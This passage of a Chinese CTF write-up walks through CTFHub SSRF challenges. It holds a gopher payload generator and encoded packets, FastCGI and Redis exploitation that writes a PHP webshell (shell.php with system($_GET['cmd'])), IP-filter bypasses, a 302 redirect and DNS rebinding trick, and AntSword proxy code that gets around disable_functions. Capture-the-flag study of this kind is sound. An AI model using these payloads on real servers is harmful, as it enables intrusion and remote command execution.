-----------------------------73242662227339777571999664765--
"""
payload = quote(payload)
payload = payload.replace("%0A", "%0D%0A")
payload = f"gopher://127.0.0.1:80/_{quote(payload)}"
print(payload)
运行后可以生成以下gopher协议数据包。
gopher://127.0.0.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------73242662227339777571999664765%250D%250AContent-Length%253A%2520221%250D%250A%250D%250A-----------------------------73242662227339777571999664765%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522upload.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A1%250D%250A-----------------------------73242662227339777571999664765--%250D%250A%250D%250A
之后把这一串放在url参数里发送就可以得到flag啦!
这里需要注意一点,我试了一下把Host写成http://127.0.0.1:80
,无法得到flag。必须是规范的ip:port
格式。
这类题只要了解了gopher协议本质上都差不多。
CGI 即 Common Gateway Interface
通用网关接口。php里常见到的fpm就是FastCGI Process Interface
FastCGI进行管理器 的缩写。其作用就是让php作为一个外部拓展应用去与http服务器进行联系。
这道题就是让我们利用那个url参数发送gopher数据包来和在内网9000端口上的fastcgi建立联系,让它执行某种命令。
大致思路就是在fastcgi协议中加入两个重要的配置。
auto_prepend_file = php://input allow_url_include = On
auto_prepend_file
会在所有的phpwe文件顶部加载文件。这里加载的是php://input
,相当于把我们传递的php语句放在文件顶部从而实现任意命令执行。
当然php://input
需要开启allow_url_include
才能生效。
这道题看了wp后了解到一个挺好用的脚本,能够直接生成gopher报文。tarunkant/Gopherus
是用python2编写的,用起来十分简单。输入一个可用的php文件以及你想执行的命令即可。
它产生的gopher报文里内部的请求已经url编码了,但是我们把这个传递给题目的时候还需要再一次url编码。
昨天下载的Gopherus
工具里就有Redis的payload2333。它的默认paylaod是这样的。
把它的paylaod url解码一下,结果是这样的。
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
其中的*
大概指的是接下去管的变量的个数,$
后面跟的数是后面变量字符串的长度。
我们仔细观察它给出的payload可以观察到它的换行已经是%0D%0A
了,所以这也就是昨天Fastcgi协议没有变换行就能直接ctf的原因。
所以今天这个也只要把它给的payload再经过一次url编码就是最终的payload了。
可以直接在burp里面进行变换。右键-> Convert Selection-> URL-> URLencode key characters
即可实现把选中部分进行url编码。
然后我可以看看shell.php
是否写入。
但是可能由于有一些多余数据的原因,导致蚁剑没法连接,但是无伤大雅,直接手动命令执行即可。
题目提示必须以某个网站作为开始,但是我们的目标肯定是127.0.0.1,那怎么办呢?
查询过资料后发现url中有个神奇的字符@
。使用过后,前面的网站直接失效,而去访问后面的网站。
这里直接能访问到我的博客2333。
http://challenge-1abe55a5f7cb9ddc.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@wuuconix.link:8000
payload
http://challenge-1abe55a5f7cb9ddc.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
一开始提示过滤了127
,172
和@
。查看资料后发现有很多ip有很多其他的形态,这里摘抄一下。
例如192.168.0.1 (1)、8进制格式:0300.0250.0.1 (2)、16进制格式:0xC0.0xA8.0.1 (3)、10进制整数格式:3232235521 (4)、16进制整数格式:0xC0A80001 还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
我便尝试了一下八进制的127.0.01。
结果又说过滤.
了,佛了,那就再试试整数。
成功得到flag。
这道题出的十分不严谨,以下是它的index.php
?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
只是对ip做了最简单的过滤 ,这就导致上道题的payload完全试用。
看了其他人的wp后还发现一个很好用的payload。
?url=http://localhost/flag.php
那看题目名字是要让我们302跳转,那需要怎么做呢?
看网上的都是用的短域名服务来实现跳转,武丑兄作为拥有两个域名的大佬当然要自己写啦!
设置了一个二级域名302.wuuconix.link
然后用nginx rewrite到http://127.0.0.1/flag.php
上。
server
{
listen 443 ssl;# https 监听的是 443端口
server_name 302.wuuconix.link;
keepalive_timeout 100;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
ssl_certificate /etc/nginx/ssl-link/fullchain.crt; # 证书路径
ssl_certificate_key /etc/nginx/ssl-link/private.pem; # 请求认证 key 的路径
ssl_protocols TLSv1.1 TLSv1.2;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
rewrite ^(.*) http://127.0.0.1/flag.php permanent;
}
server
{
listen 80;
server_name 302.wuuconix.link;
rewrite ^(.*) https://$server_name$1 permanent;
}
其实只监听80端口然后rewrite就行,但是我的服务器都用了ssl证书,把上面443的端口监听删掉会出现莫名的错误,就保留啦,也就是多做了一次302跳转,最后的目的地是一致的2333。
成功得到flag。
这道题和上一题不同,感觉应该是http服务设置的原因,明明index.php
和flag.php
几乎没变。
#view-source:http://challenge-2656dc822cd540bd.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
#view-source:http://challenge-2656dc822cd540bd.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
exit;
}
echo getenv("CTFHUB");
但是前几题的paylaod都失效了。
不支持302跳转。
这样不知道为什么也不行,按理说这个请求是127.0.0.1
的index.php发出的。
查看资料后了解到DNS重绑定的原理。
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
利用这个网站rbndr.us dns rebinding service (cmpxchg8b.com)来生成一个域名。
7f000001.08080808.rbndr.us
我想了半天这道题哪里体现出必须要DNS重绑定。感觉这道题就是在扯淡。
为了验证这种想法,我又设置了一个直接指向127.0.0.1
的二级域名localhost.wuuconix.link
结果也能获得flag2333。
只能说这道题出的不好。
这道题开局让你连蚁剑,确实能连上,但是点开根目录下的flag是空的。
然后我试着在蚁剑的模拟终端里用命令来get flag,但是所有的命令都会返回ret=127
。我查了一下,表示命令不可用。我是这样理解的。php一句话木马用get shell,但是这个shell本质上是利用php里面的系统命令实现的,而且用户是www-data
。所以出题人可以对一些命令进行限制,但是我还是无法理解,明明蚁剑已经连接了,文件列表都显示出来了,按理说这些文件都是用ls来得到的,但是手动运行ls却不行,那蚁剑是如何得到文件列表的呢?
这里写出来题目php环境中过滤的函数。
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,
pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,
pcntl_exec,pcntl_getpriority,pcntl_setpriority,
pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
我们可以看到常用的php命令执行函数system
,shell_exec
,exec
,passthru
都被ban了,我十分好奇蚁剑是怎么连接并且获取文件列表的。
我们暂时先这么理解,蚁剑用了某种神奇的方式得到了文件列表,但是因为cat 文件需要用到 比如system
函数,但是这些函数都被ban掉了,所以我们只能看到flag幻影而无法得到flag。
然后蚁剑插件市场中有个厉害的插件就是专门用来绕过disable_functions的。
使用插件过后,html文件夹下 会出现.antproxy.php
文件,其内容如下。
<?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61416;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
我们连接这个文件后,打开模拟终端后就能够get flag啦
当然也可以不用插件,但是那种方法太难了,我无法理解2333,就不写了。